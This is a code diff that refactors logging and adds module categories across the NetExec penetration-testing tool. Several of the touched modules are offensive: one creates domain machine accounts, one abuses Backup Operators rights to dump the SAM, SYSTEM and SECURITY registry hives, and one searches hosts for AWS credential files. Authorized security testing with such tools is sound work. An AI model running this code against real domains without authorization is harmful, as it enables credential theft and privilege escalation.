nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
+15
View File
@@ -24,3 +24,18 @@ class DefaultTrackingAction(Action):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+9 -8
View File
@@ -4,6 +4,7 @@ import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
@@ -45,7 +46,7 @@ class Substitution:
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
print("Unknown value type", hex(value.type))
nxc_logger.display(f"Unknown value type {hex(value.type)}")
class Value:
@@ -70,7 +71,7 @@ class Attribute:
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
self.length = 1 + self._name.length + self._value.length
@@ -123,7 +124,7 @@ class Element:
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
print("Unknown intern next_token", hex(next_token), hex(ofs))
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
break
self._children.append(element)
@@ -135,7 +136,7 @@ class Element:
ofs += 1
break
else:
print("Unknown element next_token", hex(next_token), hex(ofs))
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
break
self.length = ofs - offset
@@ -145,11 +146,11 @@ class Element:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
@@ -181,7 +182,7 @@ class TemplateInstance:
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
print("Unknown template token", hex(next_token))
nxc_logger.display(f"Unknown template token {hex(next_token)}")
def xml(self, template=None):
return self._xml.xml(self)
@@ -196,7 +197,7 @@ class BinXML:
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
print("Unknown binxml token", hex(next_token))
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
self.length = 4 + self._element.length
+97 -1
View File
@@ -1,10 +1,13 @@
from enum import Enum
import random
import string
import re
import inspect
import os
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -146,3 +149,96 @@ def detect_if_ip(target):
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
+1 -1
View File
@@ -31,4 +31,4 @@ def parse_challenge(challange):
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
return target_info
+4 -4
View File
@@ -129,8 +129,8 @@ class myPKINIT(PKINIT):
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
@@ -488,8 +488,8 @@ def pfx_auth(self):
return None
username = self.args.username[0]
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
+5
View File
@@ -8,6 +8,7 @@ from os.path import dirname
from os.path import join as path_join
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
@@ -30,6 +31,9 @@ class ModuleLoader:
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
self.logger.fail(f"{module_path} missing the category variable or invalid category")
module_error = True
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
@@ -92,6 +96,7 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"category": module_spec.category,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+10 -1
View File
@@ -101,7 +101,12 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs):
"""Format msg for output
@@ -175,7 +180,11 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x") # noqa: SIM115
try:
open(output_file, "x") # noqa: SIM115
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
+2
View File
@@ -1,6 +1,7 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+99 -130
View File
@@ -3,12 +3,13 @@ import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
@@ -16,6 +17,7 @@ class NXCModule:
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -28,9 +30,6 @@ class NXCModule:
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
@@ -59,48 +58,30 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__aesKey = connection.aesKey
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__nthash = connection.nthash
self.__lmhash = connection.lmhash
# First try to add via SAMR over SMB
self.do_samr_add(context)
self.do_samr_add()
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
self.do_ldaps_add()
Args:
----
context (object): The context object.
Returns:
-------
None
"""
def do_samr_add(self):
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
@@ -121,39 +102,41 @@ class NXCModule:
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
# Get the list of domains
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
self.context.log.fail("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
self.context.log.fail(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
self.context.log.debug(f"Opening domain {selected_domain}...")
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
# Get handle for existing computer account
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
else:
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
@@ -161,72 +144,68 @@ class NXCModule:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.context.log.debug(f"samrOpenUser failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
return
# Add computer account
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
try:
user_handle = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
)["UserHandle"]
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
return
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
self.noLDAPRequired = True
user_handle = None
# Removing the machine account in the DB
user = self.context.db.get_user(self.__domain, self.__computerName)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.noLDAPRequired = True
if user_handle is not None:
@@ -237,64 +216,54 @@ class NXCModule:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
def do_ldaps_add(self):
"""Performs an LDAPS add operation."""
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
c.bind()
sAMAccountName = self.__computerName
name = self.__computerName.rstrip("$")
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
else:
spns = [
f"HOST/{name}",
f"HOST/{name}.{self.connection.domain}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{name}.{self.connection.domain}",
]
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
f"cn={name},cn=Computers,{ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
{
"dnsHostName": f"{name}.{self.connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": sAMAccountName,
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
}
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
self.context.log.highlight("You can try to verify this with the nxc command:")
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
c.unbind()
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
@@ -8,6 +11,7 @@ class NXCModule:
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
+14 -28
View File
@@ -1,18 +1,18 @@
import time
import os
import datetime
import contextlib
from time import sleep
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -28,7 +28,7 @@ class NXCModule:
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
@@ -36,10 +36,11 @@ class NXCModule:
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
@@ -52,12 +53,14 @@ class NXCModule:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
context.log.fail(f"Unexpected error: {e}")
return
finally:
dce.disconnect()
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
@@ -95,6 +98,7 @@ class NXCModule:
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
@@ -114,24 +118,6 @@ class NXCModule:
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
+16 -21
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
@@ -79,6 +80,7 @@ class NXCModule:
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
@@ -92,10 +94,9 @@ class NXCModule:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self, ldap_session, base_dn):
def get_domain_sid(self):
"""Retrieve the domain SID from the domain object in LDAP"""
r = ldap_session.search(
searchBase=base_dn,
r = self.connection.search(
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
@@ -103,8 +104,8 @@ class NXCModule:
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
@@ -144,15 +145,13 @@ class NXCModule:
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
def resolve_sid_to_name(self, sid):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
@@ -160,8 +159,7 @@ class NXCModule:
"""
try:
search_filter = f"(objectSid={sid})"
response = ldap_session.search(
searchBase=base_dn,
response = self.connection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
@@ -174,9 +172,10 @@ class NXCModule:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
resp = self.connection.search(
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
@@ -192,15 +191,15 @@ class NXCModule:
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
resp = self.connection.search(
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls) # Fixed parameter name
searchControls=controls
)
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
results = self.find_bad_successor_ous(resp)
if results:
context.log.success(f"Found {len(results)} results")
@@ -208,11 +207,7 @@ class NXCModule:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
samaccountname = self.resolve_sid_to_name(sid)
for ou in ous:
if sid == samaccountname:
+10 -8
View File
@@ -3,21 +3,23 @@ from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
